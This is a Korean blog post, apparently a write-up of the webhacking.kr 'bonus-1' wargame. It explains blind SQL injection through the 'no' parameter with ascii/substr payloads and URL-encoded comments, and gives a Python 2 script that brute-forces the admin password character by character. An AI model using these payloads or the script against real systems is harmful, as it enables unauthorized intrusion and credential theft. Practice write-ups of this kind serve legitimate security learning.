1 입력시 true. 2입력시 true
http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=1&id=&pw=
라는 인자로 보아 no,id,pw컬럼 확인.
no=이 입력부분이고, 대부분 숫자로 가정하여 홑따옴표'를 안씌운다는 가정하게 인젝션.
?no=2 and ascii(substr(id,1,1))=97%23&id=&pw= 이런식으로 true, false판별해본결과
no=1 의 id='guest', no=2의 id='admin' 확인. no=2의 pw를 뽑으면 될거같으므로
?no=2 and length(pw)<20%23id=&pw= 이런식으로 범위를 줄여나감.
pw의 길이는 19확인. 19자의 pw를 뽑아내기 위해 스크립트 짜서 돌리면 .
?no=2 and ascii(substr(pw,1~20숫자,1))=32~128숫자%23id=&pw=
참고로 %23은 #으로 그냥 url에 #을 써서 주석처리하려고 하면 #이 url에서도 유효한 문자이기
때문에 sql로 전달이 되지 않으므로 인코딩한 %23을 씀.
import urllib2 req = urllib2.Request('http://webhacking.kr','id=??????&pw=?????') session = urllib2.urlopen(req).headers.get('set-cookie') answer = '' for i in range(1,20): for j in range(97,128): print i,j,answer req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=2%20and%20ascii(substr(pw,'+str(i)+',1))='+str(j)+'%23&id=&pw=') req.add_header('cookie',session) if urllib2.urlopen(req).read().find('True') != -1: print chr(j) answer += chr(j) break print answer
'webhacking > sql, sql injection' 카테고리의 다른 글
suninatas level 6 (0) | 2014.10.30 |
---|---|
webhacking.kr 22 (0) | 2014.10.23 |
wargame.kr counting_query (0) | 2014.10.15 |
wargame.kr q&a (0) | 2014.10.06 |
wargame.kr ip_log_table (0) | 2014.10.06 |